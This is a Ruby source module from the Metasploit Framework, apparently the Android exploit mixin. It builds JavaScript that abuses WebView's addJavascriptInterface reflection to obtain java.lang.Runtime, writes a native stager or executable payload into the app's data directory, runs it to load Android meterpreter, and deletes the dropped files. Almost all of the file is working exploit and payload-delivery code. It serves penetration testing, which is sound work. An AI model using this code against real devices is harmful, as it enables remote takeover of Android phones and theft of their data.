# -*- coding: binary -*-
require 'msf/core'

module Msf
module Exploit::Android

  # Since the NDK stager is used, arch detection must be performed
  SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]

  # Most android devices are ARM
  DEFAULT_ARCH = ARCH_ARMLE

  # Some of the default NDK build targets are named differently than
  # msf's builtin constants. This mapping allows the ndkstager file
  # to be looked up from the msf constant.
  NDK_FILES = {
    ARCH_ARMLE  => 'armeabi',
    ARCH_MIPSLE => 'mips'
  }

  def add_javascript_interface_exploit_js(arch)
    %Q|
      function exec(runtime, cmdArr) {
        var ch = 0;
        var output = '';
        var process = runtime.exec(cmdArr);
        var input = process.getInputStream();

        while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
        return output;
      }

      function attemptExploit(obj) {
        // ensure that the object contains a native interface
        try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }

        // get the pid
        var pid = obj.getClass()
                     .forName('android.os.Process')
                     .getMethod('myPid', null)
                     .invoke(null, null);

        // get the runtime so we can exec
        var runtime = obj.getClass()
                         .forName('java.lang.Runtime')
                         .getMethod('getRuntime', null)
                         .invoke(null, null);

        #{payload.arch[0] == ARCH_DALVIK ? stager_js(arch) : linux_exe_js(arch)}

        return true;
      }

      for (i in top) { if (attemptExploit(top[i]) === true) break; }
    |
  end

  def stager_js(arch)
    stagename = Rex::Text.rand_text_alpha(5)
    %Q|
      // libraryData contains the bytes for a native shared object built via NDK
      // which will load the "stage", which in this case is our android meterpreter stager.
      var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";

      // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
      // another stager which loads android meterpreter from the msf handler.
      var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";

      // get the process name, which will give us our data path
      // $PPID does not seem to work on android 4.0, so we concat pids manually
      var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
      var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
      var stagePath = path + '/#{stagename}.apk';

      // build the library and chmod it
      runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
      runtime.exec(['chmod', '700', libraryPath]).waitFor();

      // build the stage, chmod it, and load it
      runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
      runtime.exec(['chmod', '700', stagePath]).waitFor();

      // load the library
      runtime.load(libraryPath);

      // delete dropped files
      runtime.exec(['rm', stagePath]).waitFor();
      runtime.exec(['rm', libraryPath]).waitFor();
    |
  end

  def linux_exe_js(arch)
    platform_list = Msf::Module::PlatformList.new(Msf::Module::Platform::Linux)

    %Q|
      var payloadData = "#{Rex::Text.to_octal(payload.encoded_exe(arch: arch, platform: platform_list), '\\\\0')}";

      // get the process name, which will give us our data path
      // $PPID does not seem to work on android 4.0, so we concat pids manually
      var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
      var payloadPath = path + '/#{Rex::Text.rand_text_alpha(8)}';

      // build the library and chmod it
      runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+payloadData+'" > '+payloadPath]).waitFor();
      runtime.exec(['chmod', '700', payloadPath]).waitFor();

      // run the payload
      runtime.exec(['/system/bin/sh', '-c', payloadPath + ' &']).waitFor();

      // delete dropped files
      runtime.exec(['rm', payloadPath]).waitFor();
    |
  end

  # The NDK stager is used to launch a hidden APK
  def ndkstager(stagename, arch)
    data = MetasploitPayloads.read('android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
    data.gsub!('PLOAD', stagename)
  end

end
end
